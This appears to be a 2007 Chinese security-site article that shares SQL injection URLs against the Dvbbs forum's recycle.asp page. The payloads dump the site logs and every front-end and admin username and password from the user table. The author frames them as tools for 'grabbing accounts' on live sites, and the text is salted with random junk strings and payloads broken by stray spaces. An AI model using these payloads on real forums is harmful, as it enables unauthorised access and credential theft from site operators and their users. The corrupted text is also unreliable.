| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
几个暴动网Dvbbs数据库的代码
几个暴动网Dvbbs数据库的代码
作者:未知 文章来源:网络 点击数: 更新时间:2007-11-4 1:45:25
前阵看到llikz的一个大作,获得动网前台管理员后暴log日志的方法。文章题目是《夏日动网“洞”不断》,呵呵,大家网络自行搜索。
recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_conte nt,1,1,1%20from%20dv_log%20where%20l_id=5%20union%20select%2 01,1,1,1,1,1%20from%20dv_bbs1
\ [m'!#]  
然后网络上出现了暴出全部日志的语句,真的棒极了。

recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_conte nt,1,1,1%20from%20dv_log%20where%20l_announceid=0%20union%20 select%201,1,1,1,1,1%20from%20dv_bbs1i

tUQK0Br+D  
关于使用方法不多啰唆咯,网络上实在太多。n')('w@  
然后在我一次拿帐号的过程中发现有个站的日志全被清空了,比较郁闷,于是修改了一下暴字段内容的语句,帖出来方便下不熟悉的朋友 !s56wMat0  
暴前台所有用户: ~hCwhjHx/  
recycle.asp?tablename=dv_bbs1%20union%20select%201,2,usernam e,userpassword,5,6%20from% 20dv_user%20where%20userid>0%20union%20select%201,1,1,1,1 ,1%20from%20dv_bbs1 f/=HEk  
暴后台所有用户:D>~Z%!^  
recycle.asp?tablename=dv_bbs1%20union%20select%201,2,usernam e,password,5,6%20from%20dv_user%20where%20l_id>0%20union% 20select%201,1,1,1,1,1%20from%20dv_bbs1
文章录入:郝丽    责任编辑:郝丽 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Oracle数据库在线备份原
    oracle 导出数据库结构到
    PostgreSQL数据库 SECUR
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有